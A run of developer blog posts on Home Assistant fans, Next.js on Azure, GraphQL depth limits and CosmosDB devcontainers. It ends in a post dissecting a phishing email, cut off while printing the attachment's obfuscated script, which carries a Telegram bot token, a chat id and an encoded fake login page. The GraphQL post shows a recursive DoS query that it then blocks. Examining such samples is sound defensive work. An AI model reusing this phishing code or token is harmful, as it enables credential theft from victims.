As the RM4 is an RF blaster and doesn’t know anything about my fan, I need to train it up, and thankfully, that’s something we can do from Home Assistant.

Navigate to Developer Tools -> Services and from the service options, you’ll find a remote.learn_command service to execute. This will set the device into learning mode and it’ll pickup any signals we send to it:

service: remote.learn_command
data:
  device: parents_fan
  command: light
  command_type: rf
target:
  entity_id: remote.broadlink_rm4_pro

The fields of relevance here are:

device - This is the name of the device (aka remote) we’re teaching the Broadlink about. This is just a name, so you can call it whatever you want, but it’s a good idea to make it descriptive.
command - This is the name of the command we’re teaching the Broadlink about. This is also just a name, but again, it’s a good idea to make it descriptive.
entity_id - This is the Home Assistant entity ID of the Broadlink device we’re teaching.

Click the Call Service button and the device will start listening (the indicator light will turn orange), and now we’re ready to go.

Note: The Call Service button will turn green after a few seconds, but I didn’t find I’d need to wait for it.

While the device is in listening mode, press the button on the remote you want to teach (I found I’d have to hold it down for ~10 seconds), and then when released the indicator light will go off, then turn back on as orange, indicating it’s in learning mode again (or still… I’m not sure). Once it’s back to orange, press the button on the remote again, this time you don’t have to do a long press, the indicator light will turn off, and your remote code is learnt.

If you want to verify this, open the your file editor extension (VS Code or File Editor) and navigate to the .storage folder. In there, you’ll find a file named broadlink_remote_<id>_codes. If you open it you’ll see this:

{
  "version": 1,
  "minor_version": 1,
  "key": "broadlink_remote_<id>_codes",
  "data": {
    "parents_fan": {
      "light": "<some long code here>"
    }
  }
}

This is where you’ll find the commands that have been learnt, and is a handy reference if you’re like me and forget what they are called.

Repeat the above steps for each of the buttons on the remote you want to learn.

Testing a command

Once you’ve learnt a command, you can test it by executing the remote.send_command service:

service: remote.send_command
data:
  device: parents_fan
  command: light
target:
  entity_id: remote.broadlink_rm4_pro

We have a light that goes on and off, woo!

Making our fan

With the commands learnt, it’s time to make a fan in Home Assistant that we can control, but since this is going to be a completely virtual fan, we have no physical indicators of state, I’m going to create some helpers to track state for us.

input_boolean:
  parents_fan_state:
    name: "Parents Bedroom: Fan state"
    icon: mdi:fan
input_number:
  parents_fan_speed:
    name: Parents fan speed
    icon: mdi:fan
    step: 1
    min: 0
    max: 6
    mode: slider

The input_boolean is really just tracking if the fan is on or off, and we could probably do that as a calculated value (we’ll see why shortly), but I like to be explicit and it’s not really any overhead. As for the input_number, this is tracking the speed of the fan. My fan has six speeds, but I’ve added a seventh position, 0, which I’m using to indicate off (hence why we could do a calculated value rather than explicit boolean state).

Since I’ve got four fans in the house, I’m going to use a series of scripts to execute the commands, as I find they are a bit more portable and discoverable - plus I can reuse them outside of the fan entity itself:

script:
  fan_off:
    alias: Turn a fan off
    fields:
      fan:
        description: The fan to turn off
        example: parents_fan
    sequence:
      - service: input_number.set_value
        data:
          entity_id: input_number.{{ fan }}_speed
          value: 0
    mode: single
    icon: mdi:fan-off
  fan_on:
    alias: Turn a fan on
    fields:
      fan:
        description: The fan to turn on
        example: parents_fan
    sequence:
      - service: input_number.set_value
        data:
          entity_id: input_number.{{ fan }}_speed
          value: 1
    mode: single
    icon: mdi:fan-speed-1

These scripts are really just wrappers for the specific state, for the off I set the input_number helper to 0, and the way I know which helper to use is by having a convention to the name of the entities, fan is going to be the device name when we learnt the commands, making it quite easy to have reusable scripts.

Next, let’s create a script to set the speed:

fan_set_speed:
  alias: Set the speed of a fan
  icon: mdi:fan
  fields:
    fan:
      description: The fan to set the speed of
      example: parents_fan
    speed:
      description: The speed of the fan
      example: "1"
  sequence:
    - service: remote.send_command
      data:
        device: "{{ fan }}"
        command: fan_speed_{{ speed | round (0, 'floor') }}
      target:
        entity_id: remote.broadlink_rm4_pro
    - if:
        - condition: template
          value_template: "{{ (speed | round (0, 'floor')) == 0 }}"
      then:
        - service: input_boolean.turn_off
          data:
            entity_id: input_boolean.{{ fan }}_state
      else:
        - service: input_boolean.turn_on
          data:
            entity_id: input_boolean.{{ fan }}_state
    - service: input_number.set_value
      data:
        entity_id: input_number.{{ fan }}_speed
        value: "{{ speed }}"
  mode: single

This script will be callable from other scripts and automations and will take two inputs, the fan (which is the device name) and the speed to set. It will then send the command to the Broadlink using the remote.send_command service (like in our testing) and since I suffixed the command names with the speed, we can pull that out nicely, and then we set the on/off state of the fan before updating the input_number helper with the requested speed.

The fan entity

With our scripts and helpers setup, we can create a fan using the Template Fan integration:

fan:
  - platform: template
    fans:
      parents_fan:
        friendly_name: Parents Fan
        unique_id: parents_fan
        speed_count: 6
        value_template: "{{ states('input_boolean.parents_fan_state') }}"
        percentage_template: "{{ (100 * (int(states('input_number.parents_fan_speed'))/6)) | round(0, 'floor') }}"
        turn_off:
          service: script.fan_off
          data:
            fan: parents_fan
        turn_on:
          service: script.fan_on
          data:
            fan: parents_fan
        set_percentage:
          service: script.fan_set_speed_state
          data:
            fan: parents_fan
            speed: "{{ percentage }}"

There’s some metadata of the fan, such as the name and entity ID, but then we start computing some values from the helpers we defined above. The value_template will read the state from the input_boolean (and here’s where we could compute it if desired) and then percentage_template is used to turn the speed into a percentage to display on the slider. Since we’re storing the numerical speed (as that maps cleaner to our commands), we need to convert it to a percentage, and I just round it down since sixths isn’t a clean round fraction.

Adding the turn_on and turn_off actions is easy, they’ll just call the scripts we setup, but the set_percentage is going to require a new script (to avoid the calculations being embedded in the entity):

fan_set_speed_state:
  alias: Set the tracking value for the fan speed
  icon: mdi:fan
  fields:
    fan:
      description: The fan to set the speed of
      example: parents_fan
    speed:
      description: The speed of the fan
      example: "1"
  sequence:
    service: input_number.set_value
    data:
      entity_id: input_number.{{ fan }}_speed
      value: "{{ (speed / 100) * 6 | round(0, 'ceil') }}"

This script a generic version of the on/off scripts, it takes the percentage value and converts it to a speed value, and then sets the helper. Having the deal with percentages, especially in my case of numbers that don’t round cleanly, is a bit of a pain, but it’s the best I could come up with.

And with that all setup, we can add it to our UI (I’m using the mushroom cards add-on for the fan card):

We’re almost done, but there’s something we still need, to actually call the fan_set_speed, as all we’re doing is setting the input_number helper.

The automation

To call our script, I’m using an automation that is set to trigger on the input_number changing:

automation:
  - id: set_fan_speed
    alias: "Climate: Set fan speed"
    trigger:
      - platform: state
        entity_id:
          - input_number.parents_fan_speed
    action:
      - service: script.fan_set_speed
        data:
          fan: "{{ fan }}"
          speed: "{{ states(trigger.entity_id) }}"
    variables:
      fan:
        "{{ trigger.entity_id | regex_replace(find='input_number.', replace='',
        ignorecase=False) | regex_replace(find='_speed', replace='', ignorecase=False)
        }}"

As I integrate more of the fans, I’ll add more of them to the entity_id on the trigger, but we’re starting simple.

Since we’re going to need the name of the fan for the script, and I was smart enough to put that in the name of the input_number, we can use a regex to pull it from trigger.entity_id and then pass it to the script, while grabbing the state (ie - numerical speed) from the entity that triggered the automation.

Aside: In retrospect, I should have had the device as the suffix of the input_number, rather than in the middle of the entity name, but now I’ve got it everywhere and I’m too lazy to go back and change it.

Now, whenever something triggers a change to the fan speed value, this automation will be triggered, the script is called and the fan does it’s thing. So far, I’ve set this up with some other automation’s based on the temperature and humidity in the room, as well as a custom Google Assistant routine so I can say “Hey Google, parents fan speed” and it goes faster!

Conclusion

I’m pretty happy with how this turned out, especially since I find the “default” UX of these fans really frustrating. In fact, we don’t even have the remotes anywhere in the rooms, they just sit in the downstairs “junk draw” (you know the one!).

It’s not a perfect solution though, it doesn’t address the core issue of poor UX completely, as the switch on the wall will still break the circuit, and I can’t track that, so the state can get out of order, we’ve had a few incidents when my wife or kids couldn’t turn on the fan’s light but it was because the switch was off on the wall, so they flipped it since it didn’t respond to a voice command, but that just killed the circuit power so then the state in Home Assistant was out of sync. I’ve got some ideas on how to address that, but I’m waiting for that hardware to arrive before I can try that out.

But from an automated house perspective, it works well. We’ve had some humid nights recently and it’s been nice to come to bed to find that the fan is already spinning and we didn’t have to do anything. I’ve also got the light in the fan (which uses the Light Template entity) configured with an automation against the kids lamps, so when we enable the “Night light” effect on them, it’ll turn off the overhead light - and it’s worked about 90% of the time 🤣.

If anyone has thoughts on how to improve this, or any other ways they’ve gone about integrating remote controlled ceiling fans, I’d be keen to hear about it!

Extending Next.js Support in Azure Static Web Apps

website-contact@aaron-powell.com (Aaron Powell) — Mon, 10 Oct 2022 06:40:28 +0000

Next.js is one of the most popular JavaScript frameworks for building complex, server-driven React applications, combining the features that make React a useful UI library with server-side rendering, built-in API support and SEO optimizations.

With today’s preview release, we’re improving support for Next.js on Azure Static Web Apps.

What’s new

In this preview we’re focusing on making zero-config deployments with Next.js even easier than it’s been before by including support for Server-Side Rendering and Incremental Static Regeneration (SSR and ISR respectively), API Routes, advanced image compression, and Next.js Auth. In this post, we want to highlight three features that make building Next.js apps on Azure more powerful.

Server-Side Rendering

When we first launched Static Web Apps, we ensured we had support for Next.js, but our focus on this was Static-Site Generation or SSG. SSG takes the application and compiles static HTML from it that is then served and while SSG is useful in some scenarios it doesn’t support dynamic updates to the content of the page per request.

This is where Server-Side Rendering, or SSR, comes in. With SSR you can inject data from a backend data source before the HTML is sent to the client, aka in the pre-rendering phase, allowing for more contextual, real-time updates to the data. Check out Next.js’s docs for more on SSR.

For this demo we’ll add a getServerSideProps function to our index.js file that has the current timestamp:

export async function getServerSideProps() {
  const data = JSON.stringify({ time: new Date() });
  return { props: { data } };
}

We can then consume this in the component:

1
2
3

export default function Home({ data }) {
  const serverData = JSON.parse(data);
  // snip

And then output the date timestamp.

API routes

API routes allow us to build a backend API for the client-side components of our Next.js app to communicate with and get data from other systems. These are added to a project by creating an api folder within our Next.js app and defining JavaScript (or TypeScript) files with exported functions that Next.js will turn into APIs that can be called to return JSON to the client.

API routes can be as simple as masking an external service, or as complex as hosting a GraphQL server, which we’re doing in the example below.

Here you’ll see that we called the API route, /graphql, and got back a GraphQL payload response. You’ll find this sample on GitHub.

Image optimisation

When it comes to ensuring your website is optimized for all web clients, Web Vitals is a valuable measure. To help with this Next.js has an Image component and image optimisation. This feature of Next.js also makes it easier to create responsive images on your website and optimise the image being sent to the browser based off the dimensions of the view port and whether the image is currently visible or not.

You can see this in action where we have deployed the Next.js image example.

Deploying with the new Next.js support

When it comes to deploying an application to leverage these Next.js features, you need to select Next.js from the Build Presets and leave the rest of the options as their default, as SSR Next.js applications are the default for Static Web Apps. If you wish to use Next.js as a Static Site Generator, you’ll need to add the environment variable is_static_export to your deployment pipeline and set it to true and the output location set to out.

Common Questions

Can I still use SSG?

Yes! Static rendered Next.js applications are still supported on Static Web Apps, and we encourage you to keep using them if they are the right model for your applications.

Existing Next.js SSG sites should be unaffected by the launch today, although it is encouraged that you add the is_static_export environment flag to your deployment pipeline, ensuring that Static Web Apps correctly identifies the SSG.

Should I use SSR over SSG?

This is very much an it depends answer. The support announced today for SSR is preview support, meaning that it is not recommended for production workloads, for production we still encourage people to using SSG as their preferred model when working with Next.js. Additionally, echoing the recommendations from Next.js themselves, that SSG should be the preferred model when publishing sites.

SSG sites have a performance benefit over SSR, as the HTML files are created at build time rather than runtime, meaning there is less work for the server to do when producing content, thus increasing performance.

But if you’re looking to use features like dynamic routing, have a very large site that have hundreds (or thousands) of pages, or want to fetch data before sending to the client, SSR will be a better fit for you and worth exploring.

If you’re still unsure which approach to use, check out this excellent guide from Next.js themselves.

Can I use Azure Functions or BYO Backends as well as API routes?

No, if you’re deploying a hybrid Next.js application then no additional backend will be available for the site as API routes can be used to achieve much of the same functionality.

Next steps

This is all exciting and if you’re like me and can’t wait to try out the new features, check out the sample repo from this post then head on over to our documentation and get started with your next Next.js application today.

GraphQL on Azure: Part 11 - Avoiding DoS Queries

website-contact@aaron-powell.com (Aaron Powell) — Mon, 10 Oct 2022 00:42:25 +0000

In the previous post in this series we added a new “virtual” field to our GraphQL schema for Post, related:

type Post {
  id: ID!
  title: String!
  url: Url!
  date: Date
  tags: [String!]!
  description: String
  content: String!
  related(tag: String): [Post!]
}

But in doing so, we added a problem, let’s take this query as an example:

query {
  posts {
    related {
      related {
        related {
          related {
            related {
              related {
                related {
                  related {
                    title
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Oh dear… What’s going to happen here? Exactly what you think, a series of recursive queries against my API and I’ve just created a Denial of Service, DoS, attack vector against my server (it’s no a DDoS attack since it’s not distributed).

But this is perfectly valid from a GraphQL standpoint, it’s just walking the graph which we told it to expose, but I didn’t want it to bring down my server! And while this is a single type GraphQL schema, it would be realistic that in a more complex schema that you’ll have types that can recurse through other types back to the original.

Azure API Management GraphQL policies

Good news, we can solve this ourselves by leveraging APIM policies, this time we’ll use the <validate-graphql-request> policy.

This policy is an inbound policy, which means that it’ll be applied before the request is passed to our backend, or in this case, the GraphQL resolver policies, allowing us to intercept and, well, validate it against rules we predefined.

We’re going to focus on the two top-level attributes of the policy, max-size and max-depth.

The max-size policy is used to enforce an inbound request size limit, say, reject any requested over 100kb, so that you are limiting the amount of data that can be retried in a single request as an excessive query size may result in an excessive database operation being performed.

We’ll add this to the <inbound> section of our APIM policy:

<policies>
    <inbound>
        <base />
        <validate-graphql-request error-variable-name="size" max-size="10240" />
    </inbound>
    <!-- snip -->
</policies>

This is a useful policy to have in place, especially if you have a large GraphQL schema that exposes a lot of different types and fields, but it’s not really going to solve in our problem, it’ll take quite a lot of nesting to hit the size cap. Instead, we want to use the max-depth part of the policy.

With max-depth, we can specify how many levels of nesting a request is allowed to do before we reject the query, let’s update the policy:

<policies>
    <inbound>
        <base />
        <validate-graphql-request error-variable-name="size" max-size="10240" max-depth="3" />
    </inbound>
    <!-- snip -->
</policies>

One thing to be away of with max-depth is that it’s using a 1-based index, starting with the GraphQL operation type (query or mutation), meaning that a depth of 3 would allow this:

query {
  postsByTag(tag: "graphql") {
    title
    related {
      title
    }
  }
}

But this query is invalid:

query {
  postsByTag(tag: "graphql") {
    title
    related {
      title
      related {
        title
      }
    }
  }
}

And if you execute the query above it’ll give you a 400 Bad Request status, with the following body:

{
  "statusCode": 400,
  "message": "The query is too nested to execute, its depth is more than 3 "
}

Success! We’ve created a block at the gateway level, meaning that we won’t even worry about the downstream servers being hit by rogue queries.

Conclusion

One of the easy to overlook aspects of GraphQL is that you’re working with a graph and you can make recursive references in the graph that can be walked, and exploited, resulting in a DoS attack vector against your backend.

But it’s something that we can easily handle with the GraphQL policies in Azure API Management.

Using the max-depth part of the <validate-graphql-request> policy will allow us to prevent excessive nesting in the operation performed by a client, and we can combine that with the max-size attribute to avoid large, flat requests.

There are other rules that we can set on the policy, such as restricting access to certain resolver fields or paths, but I’ll leave that as an exercise to the reader. 😉

Improved Local Dev With CosmosDB and devcontainers

website-contact@aaron-powell.com (Aaron Powell) — Wed, 24 Aug 2022 00:22:27 +0000

Last year I wrote a post on using the CosmosDB Docker-based emulator with devcontainers and since then I’ve used that pattern many times to build applications, but there was one thing that kept bothering me, having to disable SSL for Node.js.

Sure, disabling SSL with NODE_TLS_REJECT_UNAUTHORIZED wasn’t a huge pain, but it did feel like a dirty little workaround, it also hit a snag - dotnet projects.

I had the idea that I should add the CosmosDB emulator to the devcontainer used by FSharp.CosmosDb, as I kept deleting the Azure resource that I used between when I was working on it. But when I’d set the account host to https://cosmos:8081 for the connection string, it’d fail to do queries as the self-signed certificate was rejected.

I guess it’s time to install the certificate.

The emulator provides the certificate at a well-known endpoint, which you can get using cURL:

`1`	`curl -k https://$ipaddr:8081/_explorer/emulator.pem > emulatorcert.crt`

But when should we run that, and what’s the IP of the Cosmos emulator container?

Installing the certificate

Because we need to wait until the containers have started, we’ll use the postCreateCommand in the devcontainer.json file, and we’ll have it call a bash script. Here’s the bash script:

#!/usr/bin/env bash

set -euxo pipefail

ipAddress=https://$(docker inspect cosmos -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'):8081

# Try to get the emulator cert in a loop
until sudo curl -ksf "${ipAddress}/_explorer/emulator.pem" -o '/usr/local/share/ca-certificates/emulator.crt'; do
  echo "Downloading cert from $ipAddress"
  sleep 1
done

sudo update-ca-certificates

To get the IP of the emulator, we’ll use docker inspect and in the docker-compose I set a name for the container, cosmos, so that it’s a well-known name (we could make an assumption of the name, based off the way compose names containers, but this is safest), and we provide a template to grab the IP from the JSON response - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}. This is combined with the protocol/port information to make a variable for the IP address to then download and install the certificate as described here.

Setting the connection info

With the certificate installed, it might be convenient to set the connection string information so that it can be used. Initially, I thought to use environment variables (since we have the IP as a bash variable) and load them with the Microsoft.Extensions.Configuration.EnvironmentVariables NuGet package, so we can add a export ipAddress to the end of the bash script (or maybe make the variable something easier to parse into the dotnet config system), but it turns out that you can’t export variables from postCreateCommands (see this issue).

Since that was off the table, an alternative solution would be to dump the info out as a file on disk. Here’s the dotnet approach for my project, you just have to adapt the file (and its contents) for your project needs:

if [ ! -f ./samples/FSharp.CosmosDb.Samples/appsettings.Development.json ]
then
  echo '{ "Cosmos": { "EndPoint" : "'$ipAddress'" } }' >> ./samples/FSharp.CosmosDb.Samples/appsettings.Development.json
fi

Note: I have the Access Key for cosmos in the docker-compose file, but you could also dump it out here if you prefer.

And with that, when the container starts, the connection to Cosmos is ready for your application to use.

Summary

In this post we’ve seen how we can run the Docker CosmosDB emulator side-by-side with our app container using a VS Code devcontainer. The full definitions that I published for my project can be found here.

Now that I’ve figured out how to do this, I’m going to be going back and retrofitting some other repos so that I don’t have to disable SSL validation for Node.js apps, making it more secure to run them locally.

Addendum

After writing this post and going back to some JavaScript/Node.js projects, I found that they were still failing with an invalid certificate and it turns out that if I’d read the docs fully I’d have know this. It seems that while dotnet applications running on Linux respect the certificate store, Node.js apps don’t, so you need to explicitly add the certificate using the NODE_EXTRA_CA_CERTS environment variable, so I’ve added "NODE_EXTRA_CA_CERTS": "/usr/local/share/ca-certificates/emulator.crt" to the remoteEnv section of the devcontainer.json file… sigh.

More Phishing Attempts

website-contact@aaron-powell.com (Aaron Powell) — Tue, 23 Aug 2022 00:31:33 +0000

Well, that was quick, less than a week since my last one and here we go again.

For transparency, this one did actually land in my junk mail, so I wouldn’t have seen it if I hadn’t been looking for an email that I should’ve received (totally unrelated to getting phished though 🤣), but since I did see it, it’s time to dig into it again!

The premise of this one is the same as the last one, although the email was much more brief, only containing my email address in the body and the HTML file attachment.

Speaking of the HTML, it was a bit different this time:

<script>var e\u006dail="<yes, my email was here>";var tok\u0065\u006e='5\x374\062\u0038\0607394\u003a\u0041AEY\171\x56gRLp3\132YYweU\161\144cbUdsGWj\163\x6e-\x53k\063w\u0030';var c\u0068a\u0074\u005fid=5486255038;var d\u0061ta=ato\u0062("PC\x46\105T0\x4eUWV\102\106IGh0bWw+Cjxod\x471sIGRp\143\x6a0ibHRyIiBjbGFzc\x7a0iI\x69B\x73\131W\x35nPSJlb\u0069I\053CiAg\111C\x41\x38a\107VhZD4KIC\x41g\u0049DxtZXRh\111Gh\x30dHAt\132XF1aXY9I\153NvbnR\x6cbnQtVHlw\132\123Ig\u005929udGVudD0i\144G\x564\u0064C9od\x47\u0031sOy\u0042\152aG\106y\x632V0PVVURi04I\x6a4\x4bICAgID\u0078\x30a\u0058RsZ\x545\124\141Wdu\111Gl\x75\u0049HR\166\x49H\154v\144XI\x67YWNj\1423Vu\x64DwvdG\u006c0bGU+C\x69\x41gICA8bWV0YSB\x6fd\x48Rw\114\127\126\170dWl2PS\x4a\u0059\114VVBL\x55N\166\x62X\x42hdG\x6c\151bGUiIGNvb\x6e\122\u006c\u0062nQ9I\x6b\154FPW\x56\x6bZ2U\151Pg\157gICAg\120G1ldG\x45\147\u0062m\u0046\x74\x5aT\u0030idmlld3B\u0076cn\u0051iIG\u004ev\x62n\x52\x6cbnQ9\x49n\144\160ZHRo\u0050WR\154\x64\x6d\154jZS13aW\122\x30aC\167gaW\x35p\144\x47lhbC1z\x592FsZT0x\x4cj\x41s\x49G\u0031\150eG\u006ct\144W0\x74c2NhbGU9M\1514\167\u004cCB1\x632VyLXN\u006aYW\170\u0068Y\155x\154PXllcy\111\x2bCi\x41gICA\u0038c\u0032Ny\x61X\u00420IHNyY\u007a\u0030\151a\110\x520cHM6Ly9ha\x6d\1064Lm\144vb\u0032d\163ZW\106wa\130M\165Y29tL2FqYX\u0067vbG\154icy9qcX\u0056\154\143n\u006bv\115y40\114j\x45vanF1\x5a\x58J\u0035Lm\061\160b\u00695\x71\x63\u0079I\u002bPC\071zY3J\x70cHQ+\u0043iA\x67\111C\x418bG\x6cuayByZWw\u0039\111\x6e\u004eob\063J\060Y\063V0IGlj\1422\x34i\111Ghy\132WY9Imh0\144HBzOi\u0038vY\x57F\153\x59\u0032Ru\114m1\u007aZn\x52h\144\130R\157L\1555l\u0064C\x39z\141GFyZW\121v\u004dS4\u0077\x4c2Nvb\x6eR\154bnQva\x57\061\x68Z\062VzL\x32Zh\x64ml\u006a\u00622\065fYV9l\x64XBh\u0065WZnZ2hx\141\x57FpN\062s5c29\x73\116\155\170\x6e\u004di5\x70Y\062\070\151\120iA\x67\u0049C\x41KIC\x41\147\111D\170saW5\x72I\x47\122hdG\105tbG\071hZ\u0047\u0056yPSJj\132\1074iIGNyb3Nzb3J\160Z2l\165PS\112hbm9u\u0065W1vdXMiIGh\u0079\x5a\x57Y9Imh\x30\144HBz\117i8vYW\x46\153Y\062R\165Lm1zZn\x52h\x64XRoL\u006d5ld\x43\x39l\x633R\172\114\x7a\111\x75\x4dS9jb\062\x350\132W50L2NkbmJ1b\x6d\122\163ZXM\166Y29\165\144m\x56yZ2Vk\x4c\156\u0059yLm\170vZ\062\154u\114\u006d1pb\x6c\0716a\u0058\154\u0030\132j\u0068kenQ5ZWcxczYtb\u0032hobGV\156M\x695jc3M\x69IH\x4albD\060ic3R5bGVza\107Vld\103\111+CiAg\x49C\u00418\x63\062\u004eya\130\x420Pg\u006fg\x49C\101gICAg\x49CQ\157ZG\071\x6a\u0064\1271l\x62\156Qp\x4c\x6eJl\x59\127R5\u004bG\1321bm\1160\x61\x579\165KC\x6bgeyQ\157\u0049iNkaXNwb\x47F5Tm\106tZ\123IpLmVt\143\u0048\1225\113CkuY\130Bw\132\1275\u006bK\x47VtYW\u006c\163\113TsgJ\1035nZX\x52\x4bU\0609OKCJodHRwcz\x6f\x76L2\u0046\167a\u00535pcG\x6cm\x65S5v\x63mc\x2f\132m9yb\127\u00460PWp\u007ab\0624\x69L\x43Bm\x64W5jdGlv\142ihkYXRhK\x53\102\067JCg\u0069\111\062\x64m\u005ayIp\x4cmh0bWwo\x5aGF0YS5\160cCk7fSl\071\x4b\124s\x4bIC\101\x67\111Dw\166\u00632\116\171aX\1020\x50go8L2\150\x6cY\127Q+\103jxib2R5IGN\x73YXNz\120SJ\x6aYiIgc3R\065bGU9I\x6d\122pc3B\163YX\1536IGJ\x73b2Nr\x4f\171\x49+Cjx\x77IGlkPS\u004an\132m\u0063iIHN0e\127x\u006cPSJ\153\x61\x58\116w\x62\x47\x465O\151Bu\x62\0625\x6cOy\x49\x2bPC9\167\120go8Zm9y\142S\102uYW1\154P\123JmM\123Iga\127Q9\u0049m\x6bw\u004djgx\x49\151Bub3Z\x68bG\x6ckY\x58Rl\120\x53Jub3\x5ah\u0062G\154kYXRlI\x69\x42zc\x47\126\x73bGNoZ\127NrP\u0053\x4a\155YWx\x7a\132SI\x67\142WV0aG\071kPS\u004awb3N0I\x69\u0042\060Y\130J\u006eZ\x58Q9\111l9\060b3AiIG\106\061\u0064G\u0039jb21\167\u0062GV0\u005a\x54\u0030ib\x32ZmI\151BhY\063\122pb24\x39IiI+CiAgIC\x41\070\132Gl\x32IG\u004esYX\116z\120SJsb\x32\144\x70bi1\167YWd\u0070bmF\060ZWQtc\x47FnZ\123I+\x43i\101\147ICAgICAg\u0050\107R\u0070d\151\x42pZD0ib\107l\u006eaH\x52ib3\150UZW1wbGF\060Z\125NvbnR\u0068\141\1275lc\u0069I\x2b\x43jxkaXY\147aWQ9\x49mxpZ\x32\u00680\x59m\x39\064QmFj\141\062\144y\u00623V\x75Z\u0045\116v\x62nRhaW5\u006cci\x49+C\u0069AgICA8ZGl2I\107NsYX\116z\120SJiYWNrZ3JvdW\x35kLWltYWd\154\114W\x68\x76b\107R\u006c\x63i\x49gcm9\163Z\x540icHJ\154c\x32VudGF0aW9uI\x6a4KICA\x67ID\x78\x6ba\x58YgY2\x78h\x633\x4d\071\u0049m\112\150Y2\164ncm\x391b\x6dQt\x61W1hZ2U\x67ZX\1500LW\112\x68\x592tn\143\15591bmQ\164aW1\x68\x5a2UiIH\1160eWx\154\x50\123JiYWN\x72Z3\112vd\1275kLWltY\u0057dl\117\151\x42\u0031\x63\x6dw\x6fJnF1\u0062\x33Q\x37aHR0cH\115\066L\x799h\x59\x57\x52\x6aZG4ubX\116mdGF1dG\x67u\x62mV\060L3\116oYXJl\132\103\x38x\x4c\x6aAv\x5929u\144G\u0056\165\u0064C\x39pbWFnZ\130\u004dvYmFj\x612d\171b3VuZHMvM\1549i\u0059zN\u006b\115z\112hN\152k\062O\u0044k\u0031\x5a\152c\x34YzE\u0035\132G\1312Y\172\143\u0078NzU\064NmE1ZC\x35zdmcmcXVv\u0064\u0044s\160OyI\053PC\x39kaX\131+Cjwv\x5aGl2Pjwv\132Gl2P\x67o\x38\u005aGl\x32\x49GNsYX\x4ezPSJv\x64X\122lc\151I\x2bC\151AgI\u0043A8\x5aG\154\u0032IGN\x73YXN\x7a\120\123J0ZW1w\x62\107F0\132S1zZ\127N\060aW\x39uI\x471haW4\164c2\x56\152\144Glvb\151I\u002b\x43iAg\111C\u0041\147IC\x41\x67\u0050\x47Rp\u0064iBjb\x47\u0046zcz0\x69bW\u006ck\x5a\x47\x78l\x49G\x564dC\x31t\x61W\122\u006bbGUiP\x67ogICA\u0067\111CAgIC\101gI\103\u00418Z\107l2IGN\u0073\x59\130Nz\120SJmdW\170sLWhlaWd\u006f\144C\x49\u002bCj\170\u006b\x61\x58Y\147Y2xhc3M9I\u006dZ\163Z\130gtY\062\u0039\u0073d\1271\u0075\x49j4\x4bICA\u0067ID\u0078k\x61XYgY2x\u0068\u00633\1159\u0049nd\160bi1zY3Jv\142Gwi\x50gogI\103\x41gICAg\u0049Dx\x6baX\131\147a\u0057Q9Imx\160\x5a2h0Ym94I\151\u0042jbGF\172\143z0\151c2\154nb\x691pb\x691i\u00623\147\x67ZXh0LXN\160Z24ta\127\u0034t\x59m\x394IGZ\u0068ZG\u0055taW4\164\x62G\154\x6ea\u0048Ri\1423gi\120gog\x49\103A\x67IC\101\x67\u0049\104\x78k\141XY+PG\154t\132yBjbG\x46\x7ac\1720ib\u00479\u006eb\171Igcm\u0039\163\u005a\u00540ia\x571\156IiB\x77b\x6d\x64zcm\x4d9I\x6dh0\x64H\u0042\x7a\x4f\1518vYW\x46\x6bY2R\x75Lm\x31\172Z\156RhdX\122\x6f\114m5\u006c\x64C\x39za\107\106yZWQv\x4dS4\x77L\062Nvb\x6e\x52lb\u006e\121\u0076a\x571\150\x5a2V\u007aL2\u0031\x70\131\063\112vc\x329\155dF\071s\142\x32\x64\u0076\x582Vk\x4fWM\x35\132W\u0049\x77ZGNl\115TdkNzU\x79YmVkZWE2YjVhY\062\122hNmQ5\x4cnBu\x5ay\111gc3Znc3J\x6a\x50SJodHR\167\143zo\166L2\x46\x68\u005aGNkbi5\164\x632Z\060\x59XV0aC5u\132\130\x51vc\x32hhcm\126kL\x7aE\165M\x439jb2\x350ZW50\1142lt\131\127\144l\u0063y9t\141\x57N\171\x623NvZ\x6eRfb\u00479\u006e\14219lZ\124\126j\x4f\107Q5\132mI2M\152Q\x34YzkzOGZ\153MGRjMTkz\x4ezBlO\124B\x69ZC5z\x64m\u0063iI\110NyYz0\x69\x61HR0c\u0048M6Ly9hY\127RjZG\x34ubXN\155dGF1\144\x47\x67\x75bm\126\x30L3\116\157Y\130JlZC\u0038\x78LjAv\x5929ud\107\u0056u\144\1039p\x62W\x46nZX\115vbW\154jcm9z\x622Z\x30X2\170vZ29fZWU\061\u0059\172hk\x4fWZiN\u006aI\u0030OGM5MzhmZDBkYzE5Mzcw\132Tkw\131m\121uc\x33ZnIiBh\x62\110\u00519Ik\061pY3Jv\u00632\u0039\x6d\u0064\103I+PC9\x6ba\u0058Y\u002b\x43\x69AgICA\u0067IC\x41g\u0050GRpdiByb2\170\154\120S\x4a\x74Y\127luIj4KPGR\x70\x64\x69BjbGF\172cz0\151Y\u0057\065pb\u0057F\060ZS\102\x7a\142\107\x6ck\132S1pbi1uZXh0\111j\064\u004bICAgIC\x41\x67ICA8ZGl2\111D4KPG\x52pdi\x42\152\142G\106\172c\x7a\x30\x69\u0061WRlbn\x52\160dHl\103\x59\127\065\165Z\130\x49\x69Pgo\x67\x49CAgPGR\u0070di\102p\u005aD\x30iZG\x6cz\x63GxheU\065\x68bW\125iIGNsYXNzPS\112p\132GVu\x64Gl0eSI+\x50C\071kaX\131+\103\152w\x76Z\107l2\120jw\166Z\107l2P\x67\x6fgICA\x67\120C9k\141XY+C\151AgICA\u0038Z\x47l2IGN\u0073YXN\x7aP\u0053Jw\u0059\x57\144\x70\142\x6dF\x30aW9u\u004cXZp\u005aXc\x67\x59W5\u0070bWF0ZSBoYX\u004d\u0074a\x57\122l\142nRpd\x48\x6bt\x59m\x46ubmVy\x49HN\163\141WR\154LWl\x75LW\u0035le\110Qi\x50g\157gICA\x67\u0050GR\u0070\144\u006a4\x4bC\u006a\170k\141XYg\141WQ\u0039ImxvZ2lu\123\107VhZG\x56\x79\x49iB\u006a\u0062GFzcz\x30\u0069\u0063m93\111HRp\x64\107xlI\x47\u00564d\x4310\141X\x52sZSI\u002b\x43\x69AgICA8ZGl\x32\x49H\112\166b\107U\x39\x49m\x68l\131W\122pb\x6dci\u0049GFy\141WE\x74bG\126\u0032ZW\u00779\111\152\x45i\x50kVudG\x56yI\x48B\x68c3N3b3JkP\103\x39\x6baXY+C\x6aw\x76ZGl\062\u0050\x67\x6f\u0038ZGl2IG\154kP\123\u004a\15